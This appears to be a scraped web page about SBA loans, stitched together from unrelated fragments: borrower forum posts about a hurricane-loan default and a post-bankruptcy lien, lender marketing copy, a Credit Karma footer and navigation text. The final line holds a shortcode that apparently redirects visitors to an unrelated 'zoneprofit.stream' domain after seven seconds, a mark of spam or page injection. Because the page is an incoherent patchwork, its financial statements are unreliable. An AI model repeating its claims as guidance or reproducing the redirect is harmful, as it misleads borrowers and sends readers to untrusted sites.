Because the SBA doesn’t always fully collateralize an SBA loan with business assets, it’s not uncommon for them to pursue personal assets in the event of a default. I am not an attorney. I would recommend you seek the advice of one familiar with working with these types of issues. I am unaware of anything that would compel a bank to talk settlement.
I had an SBA loan in Florida due to the hurricanes of 2004. In 2007 I lost my job and in six months I was on SSDI knowing that there was no way I would be able to pay the taxes, mortgage or insurance and be able to survive. The Treasury Department started taking money for SBA out of my SSDI. I didn’t mind that it was that every time I would call the SBA to try and get help no one wanted to help. So it took 5 years for the county to take the house for delinquent taxes in 2013. If they had just talked to me to explain anything maybe there might have been something I could have done to keep my home. In my 60’s and having to start over and not in great health. Now I live in a studio which is only 12×20 not that big. I feel like life is over and it will only get worse form here. Enough pity party. I just want the Government to be there for the little people and help like they should, when. They helped with the hurricanes but once that is done so are they. They need to include the taxes in the mortgage so a lot of the tax sales won’t happen. MY home sold for only S30,000 and the buyer sold it for $70,000. Haven’t heard for anyone SBA about the difference. I think it is somewhere around $18,000, Will they just let it slide, seems if they wanted something they would be still deducting from my SSDI? Would I be able to get a Veteran’s loan to get a small home? Any answer would be appreciated. Wish I found this years ago. Maybe something could have been done to keep it. Jude
Equipment financing can be used to purchase equipment, vehicles, or machinery. It can be obtained through equipment dealers, banks, and online providers. Equipment financing can help startups finance equipment and preserve their cash for other needs.
With extra financing, your business will be able to pursue more strategic opportunities. Whether that means opening a new location, hiring staff or offering more inventory, your business loan can go a long way!
Skip Navigation: Internet Banking LoginYour browser’s version is not compatible. Please upgrade your browser.Close
An SBA loan is intended to help a small business get up and running. This can be a risky endeavor, so the federal government provides them to help entrepreneurs who might not be able to get a loan under normal circumstances. It’s a powerful kick-starter for our economy.
In fact, the U.S. Small Business Administration (SBA) now uses the score to pre-screen it’s most popular 7(a) loans. If your score falls below their minimum threshold, you may not qualify for one of the most attractive—lowest interest rates—small business loans available. Starting at the beginning of 2014, all SBA 7(a) loan applications up to $350,000 are required to go through a business credit score pre-screen. To be clear, if you’re applying for an SBA loan, most likely it’s a 7(a).
© 2007–2018 Credit Karma, Inc. Credit Karma™ is a registered trademark of Credit Karma, Inc. All Rights Reserved. Product name, logo, brands, and other trademarks featured or referred to within Credit Karma are the property of their respective trademark holders. This site may be compensated through third party advertisers.
Back in 2010 we filed a Chapter 7 for personal and business. We got discharged, however we had our mortgage friend check our deed and come to find out we have a lien from the bank who issued us an SBA loan back in 2007, they never contacted us to ask for monies. Our house is under water, so I dont know what they think they can get. Our lawyer didnt say anything about a lien so this is news to us. Can we file a motion to re-open the case and ask the judge to discharge it again? I dont feel like we should have to do an OIC since it should have been discharged in the BK. Options?
If you need a lot of capital to grow your business and are willing to give up equity to get that capital then angel investments might be for you. If you’re thinking about going down this path you can learn more by reading our guide on raising capital from angel investors.
We strongly recommend that you prepare a rough draft of your business plan in advance of meeting with us. Prior to our first meeting we will ask you to send us your business plan so we can review it before the meeting. This makes our time together as productive as possible.
In addition, the Export Express Loan provides requires businesses be at least one year old and export products overseas. You don’t necessarily have to have a year’s history in exporting so long as your principles can show significant experience exporting.
Oh, and there’s one more thing you should know about our funding managers: they’re on your team. You see, they don’t work for lenders – they work for you. We mean that. Lendio is the best free marketplace for small business loans because we put your best interests first. As long as those interests don’t include hugs, obviously. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]